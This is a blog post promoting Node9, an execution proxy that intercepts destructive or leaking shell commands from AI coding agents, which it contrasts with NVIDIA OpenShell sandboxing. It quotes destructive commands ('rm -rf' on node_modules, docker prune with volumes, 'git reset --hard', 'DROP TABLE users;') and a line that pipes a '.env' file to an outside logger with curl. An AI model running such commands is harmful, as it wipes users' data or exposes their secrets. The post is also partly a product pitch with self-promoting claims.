DEV Community

Node9
Node9

Posted on

AI Sandboxes Aren't Enough: We Need Execution Governance

Last week, a local CLI agent offered to "clean up my workspace." I assumed it would delete a few temporary files. Instead, it confidently queued up find . -name "node_modules" -exec rm -rf '{}' + and followed it with docker system prune -af --volumes.

If I hadn't hit Ctrl+C in time, it would have wiped gigabytes of local state and container volumes in milliseconds.

We have crossed a dangerous inflection point. We are no longer just chatting with LLMs; we are giving autonomous agents, like Claude Code, Cursor, and custom "claws", the keys to our terminals. But we are doing it without a seatbelt.

Every developer using an agent today feels this exact same "Terminal Anxiety."

The problem isn’t that AI can execute commands. The problem is we have no control over what it executes.

To solve this, the industry is currently splitting into two distinct architectural categories. Understanding the difference between them is the key to surviving the Agentic Era.

TL;DR:

  • Sandboxes (like NVIDIA OpenShell) control WHERE an AI runs.
  • Execution Proxies (like Node9) control WHAT an AI is allowed to do.
  • For local development, you need a proxy. For production, you need both.

The Sandbox: Controlling Where Agents Run

When security teams see an AI deleting files, their first instinct is to build a zero-trust cage. This is the Infrastructure Sandboxing approach, championed by tools like NVIDIA OpenShell.

To be clear, OpenShell is much more than a simple Docker container. It is a highly sophisticated, kernel-level runtime. It uses Landlock LSM for isolation and features a powerful L7 policy engine. You write a declarative YAML policy defining exactly which binaries (git, python) and which network endpoints the agent can access. It even actively routes inference traffic to prevent data leaks. Everything else is denied by default.

If you are deploying autonomous agents in a headless cloud environment, OpenShell is the gold standard.

But declarative governance has a fatal flaw for local development: it secures the infrastructure, but it does not secure the logic.

Imagine you give an AI agent access to a Postgres database inside an OpenShell sandbox. The YAML policy says "allow access to Postgres." The sandbox perfectly ensures the agent cannot escape the container to touch the host server. But the sandbox will not stop the agent from accidentally executing DROP TABLE users;.

Furthermore, declarative sandboxes fail closed. If the agent tries a command blocked by the YAML file, the sandbox just kills the process. There is no nuance. Developers don't want to write static YAML firewall rules just to let their AI try a new testing framework.


The Missing Layer: Controlling What Agents Do

This is the missing layer: not where AI runs, but what it’s allowed to do.

This is where Interactive Execution Governance comes in. Instead of writing static YAML rules to put the AI in a cage, you act as a deterministic gatekeeper.

This is exactly why I built Node9 Proxy.

Node9 is an execution wrapper for AI agents. It sits transparently between the LLM and your actual machine. Using AST (Abstract Syntax Tree) parsing, it understands the underlying shell grammar, even if commands are nested or obfuscated. It allows safe commands (npm run build, git status) to pass instantly. But if the agent attempts something destructive, Node9 intercepts it.

(Author Note: Insert a GIF or screenshot of the Node9 OS-native popup here)

Imagine this 10-second mental demo:
Your AI decides the best way to fix a bug is to run git reset --hard.
Instead of a rigid sandbox silently killing the process, your terminal freezes. An OS-native popup instantly appears on your screen: "Claude Code is attempting a destructive Git action. [Approve] or [Block]".

You click Block.

Node9 doesn't just crash the agent. It feeds that block back to the AI's context window: "The human blocked this action because it is destructive." The AI replies, "My apologies. I will pivot and create a new branch instead."

The Visceral Reality: Without Node9 vs. With Node9

Node9 turns AI mistakes from "disasters" into "minor typos." Here is what this looks like in practice:

Scenario 1: The Code Hallucination

  • Without Node9: The AI refactors your routing logic, hallucinates, and breaks the app. You spend 20 minutes manually unpicking Git diffs to figure out what it ruined.
  • With Node9: Before the AI is allowed to write to the file, Node9 takes a silent Shadow Git Snapshot. The AI breaks the app. You type node9 undo. Your workspace is instantly reverted to the exact millisecond before the AI touched it.

Scenario 2: The Secret Leak

  • Without Node9: The AI tries to debug an API issue by running cat .env | curl https://third-party-logger.com. Your AWS keys are now in a random server's logs.
  • With Node9: Node9's in-flight Data Loss Prevention (DLP) inspects the pipe-chain. It detects the AWS key format, hard-blocks the network request, and redacts the logs.

The Ultimate Architecture: Defense in Depth

The question isn't whether to use a sandbox like NVIDIA OpenShell or a governance proxy like Node9. They are two halves of the ultimate enterprise stack.

  1. If you are running agents in your local terminal: You need Node9 Proxy. The ability to easily audit, approve, and instantly "undo" AI actions makes it the only pragmatic choice for local execution without the crippling overhead of Docker.
  2. If you are deploying Autonomous Agents to Production: You need both. The ultimate defense-in-depth strategy is to wrap your agent in Node9 Proxy, and run that entire process inside an NVIDIA OpenShell sandbox.

OpenShell controls where the agent runs, ensuring it can't escape the machine. Node9 controls what the agent is allowed to do, ensuring it doesn't logically destroy the database inside that sandbox, while maintaining an immutable audit trail of every decision.

We gave AI the keys to our systems. Node9 is the first time we added a permission layer.


To protect your local terminal today, you can install Node9 via NPM (npm install -g @node9/proxy) or view the GitHub Repository here.


Top comments (0)